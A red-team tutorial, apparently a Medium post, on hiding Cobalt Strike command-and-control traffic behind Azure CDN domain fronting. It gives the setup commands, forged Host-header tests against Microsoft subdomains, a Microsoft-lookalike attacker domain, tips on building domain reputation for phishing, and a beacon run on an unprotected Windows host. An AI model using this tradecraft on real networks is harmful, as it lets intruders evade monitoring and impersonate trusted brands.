[RedTeam] C2 Redirector — Domain Fronting Setup (Azure)

Intro

Domain fronting makes the C2 (aka Command and Control) traffic from the victim computer looking like that it is calling to the highly trusted domains but it is actually calling back to the attacker’s C2 server domain.

CDN (Content Delivery Network) domains are usually highly trusted, and it is difficult to block all the trusted CDN because it may restrict end users to access some legitimate websites. For this reason, CDN domains would be a good choice for establishing an egress connection from a victim’s network in many cases.

Infrastructure Setup

First, you need to create a server for your Cobalt Strike server. For this demo, I have created an AWS EC2 that is configured to use external (public) IP.

$  uname -a
Linux ip-xx 5.4.0-1029-aws #30-Ubuntu SMP Tue Oct 20 10:06:38 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
$ curl ipconfig.io
3.21.xx.xx <-- AWS EC2 Public IP

And install Cobalt Strike on that EC2 host using the instruction here.

Note: You will need a valid license or request a free-trial license to download the Cobalt Strike.

Download Cobalt Strike
Installation Guide for Cobalt Strike

We also need to a domain to use. Ideally, one can buy an expired domain or ripe one for phishing and red team exercises. Further there are several categorization sites where you can add more reputation for your domains.

  • Domain Categorization Sites
https://urlfiltering.paloaltonetworks.com/query/
https://www.trustedsource.org/en/feedback/url
https://www.talosintelligence.com/reputation_center
https://sitereview.bluecoat.com/
https://exchange.xforce.ibmcloud.com/

But for this demo, I will use a new domain that I purchased a while back.

Testing Domain

Configure the DNS “A” record to point to the AWS EC2 host that we created earlier.

DNS A Record Configuration
  • Check the DNS record:
$  nslookup microsoft-securityteam.com
Server: 192.168.1.1
Address: 192.168.1.1#53
Non-authoritative answer:
Name: microsoft-securityteam.com
Address: 3.21.28.251

In your AWS EC2 host, make sure to install the following tools:

openssl
git
keytool
certbot
  • Run Certbot to Register SSL Certificate
$ certbot certonly --non-interactive --agree-tos --email example@gmail.com --standalone --preferred-challenges http -d <Your Domain>
  • Create Key File
$ cd /etc/letsencrypt/live/<Your Domain>/$ openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out <Your Domain>Pkcs -name <Your Domain> -passout pass:<Password of Your Choice>$ keytool -importkeystore -deststorepass <Password of Your Choice> -destkeypass <Password of Your Choice> -destkeystore <Your Domain>Store -srckeystore <Your Domain>Pkcs -srcstoretype PKCS12 -srcstorepass <Password of Your Choice> -alias <Your Domain>$ cp <Your Domain>Store /opt/cobaltstrike

Azure CDN Domain Fronting Setup

If you haven’t already, you need to create a free Microsoft account in order to login to the Azure Portal. Using the Microsoft account, log into the Azure Portal.

  • Go to “Subscriptions”:
  • Click on “+ Add” and click “Add a different type of subscription”:
  • Click on “Pay-As-You-Go” plan since the Free Trial would not be able to use Azure CDN.
  • Create subscription:

If everything goes right, it will add the new subscription to our profile:

Next, we need to register for Azure CDN profile.

  • Go to “Subscriptions” → Click on “Resource providers” under Settings:
  • Search for “cdn,” click on “Microsoft.Cdn” and click on “Register”:

Now we need to create a new Azure CDN and configure our domain with it.

  • Click “Create a resource” → Search for “CDN” → Click “Create”
  • Create a new CDN as an example like below:
New CDN Profile

Since we are not creating a legitimate CDN, we do not need to save cache.

  • Go to “CDN Endpoint” → Click “Caching rules”:
  • Set “Query string caching behavior” to “Bypass caching for query strings”:

Confirming Domain Fronting Setup

Now we have completed setting up attacker’s domain and Azure CDN domain. It’s time to check if your CDN domain fronting is successfully configured.

For this demo, I will be using the following jquery malleable C2 profile.

$ cd /opt/cobaltstrike$ wget https://raw.githubusercontent.com/threatexpress/malleable-c2/master/jquery-c2.3.12.profile
  • Modify the profile to use SSL certificate + Key file created
Malleable C2 — https-certificates
  • Start the Cobalt Strike Teamserver and connect to it using the Cobalt Strike client
$ ./teamserver 3.21.xx.xx <Cobalt Strike Password> /opt/cobaltstrike/profile/jquery-c2.3.12.profile
  • Host a test file using the Cobalt Strike’s Host File option
$ echo "[INFO] Hello :)" > test.txt
Host File

Finally using the following commands, check if the domain fronting setup is successful:

# Accessing the file using Azure CDN Domain
$ wget -U bigb0ss -qO- https://apis.azureedge.net/test
# Accessing the file using Attacker's Domain
$ wget -U bigb0ss -qO- https://microsoft-security.com/test
# Accessing the file using Frontable Domains
$ wget -U bigb0ss -qO- https://natick.research.microsoft.com/test --header "Host: apis.azureedge.net"
$ wget -U bigb0ss -qO- https://workhub.microsoft.com/test --header "Host: apis.azureedge.net"

All of the attempts successfully resolved the test file we were hosting in our Cobalt Strike web server. Domain fronting is working properly!

Note: For find the frontable domains, you can use the opensource tool called “FindFrontableDomains”

$ python findFrontableDomains.py -d microsoft.com

Final Payload Test

Now let’s modify the jquery C2 profile to update the Host-header for http-get and http-post sections to add our Azure CDN domain.

  • http-get
  • http-post

Then, restart the Cobalt Strike Teamserver:

$ ./teamserver 3.21.xx.xx <Cobalt Strike Password> /opt/cobaltstrike/profile/jquery-c2.3.12.profile

Setup the Cobalt Strike HTTPS Listener like below:

Cobalt Strike Listener

One caveat is that there is no option in Cobalt Strike to set the Host-header in stager payload, but we can still use stateless payload to work with Domain Fronting.

Let’s create a stageless Windows EXE payload:

Transfer the payload into your testing Windows box (I’m using Win10 with no Windows Defender Running) and execute it.

Executing the payload

We successfully get the beacon calling back to us with the domain fronting setup.

Considerations for Domain Fronting

For HTTPS traffic, the proxy server will only see the “CONNECT T:443” and not be able to see the encrypted the Headers. But many companies can do MitM-SSL between proxy server and the SSL connection so that they can potentially catch the domain fronting attack (but like finance and healthcare would not do the MitM-SSL because they don’t want to see people’s PII date accidentally.

Additionally, now some CDN providers check the “SNI:” value within the HTTP request and if that is different then Host-header it flags as the malicious, This is why people say Domain Fronting is dead. but not always.

Thanks for reading!

References:

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store